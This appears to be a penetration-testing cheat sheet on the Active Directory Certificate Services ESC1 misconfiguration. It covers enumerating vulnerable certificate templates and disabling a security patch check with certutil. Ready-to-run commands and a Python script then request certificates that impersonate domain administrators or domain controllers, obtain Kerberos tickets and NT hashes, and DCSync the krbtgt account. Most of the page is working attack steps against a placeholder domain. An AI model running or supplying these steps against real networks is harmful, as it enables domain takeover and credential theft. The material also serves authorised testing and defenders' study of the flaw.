The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2
) or Client Authentication (1.3.6.1.5.5.7.3.2
) or PKINIT Client Authentication (1.3.6.1.5.2.3.4
) EKUs.
Enumerate
Find template with this misconfiguration with native Active Directory module:
Copy PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
Disable the KB5014754 Patch
Disable szOID_NTDS_CA_SECURITY_EXT
extension checking (requires CertSvc restart):
Copy Cmd > certutil.exe -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2
Exploit
Certutil
Certify
Request a certificate specifying the /altname
as a domain admin:
Copy Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdmin
Convert .pem
to a .pfx
certificate:
Copy $ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Request a TGT with the .pfx
certificate:
Copy Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certificate:cert.pfx /password:Passw0rdPfx! /ptt
Certipy
Enroll a certificate with privileged subject in SAN:
Copy $ certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template VulnTemplate -upn administrator@megacorp.local -dc-ip 192.168.1.11
$ proxychains4 certipy req -u 'PC01$@megacorp.local' -aes <AES_KEY> -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate -upn 'DC01$@megacorp.local' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
Request TGT providing the certificate and get the corresponding NT hash automatically:
Copy $ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11
Manually via web enrollment at /certsrv/certrqxt.asp
:
Copy from certipy.lib.certificate import (
create_csr,
create_pfx,
csr_to_der,
der_to_pem,
pem_to_cert,
cert_id_to_parts,
get_identifications_from_certificate,
get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications
username = 'j.doe@megacorp.local'
alt_upn = 'DC01$@megacorp.local'
alt_sid = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'
csr, key = create_csr(
username,
alt_dns=None,
alt_upn=alt_upn,
alt_sid=alt_sid,
key=None,
key_size=2048,
subject=None,
renewal_cert=None,
application_policies=[]
)
attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])
print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)
# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''
cert = pem_to_cert(pem)
identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)
object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
print('[!] Certificate has no object SID')
out, _ = cert_id_to_parts(identifications)
if out is None:
out = username
out = out.rstrip('$').lower()
with open(f'{out}.pfx', 'wb') as f:
f.write(create_pfx(key, cert))
print(f'[+] Saved certificate and private key to {out}.pfx')
certi
Enroll a certificate with privileged subject in SAN:
Copy $ certi.py req megacorp.local/snovvcrash@CA01.megacorp.local CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$'
Request TGT providing certificate:
Copy $ base64 -w0 DC01.pfx > DC01.pfx.b64
$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admin -dc-ip 192.168.1.11 DC01.ccache
Request NT hash providing TGT or DCSync:
Copy $ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key <AS_REP_ENC_KEY>
$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass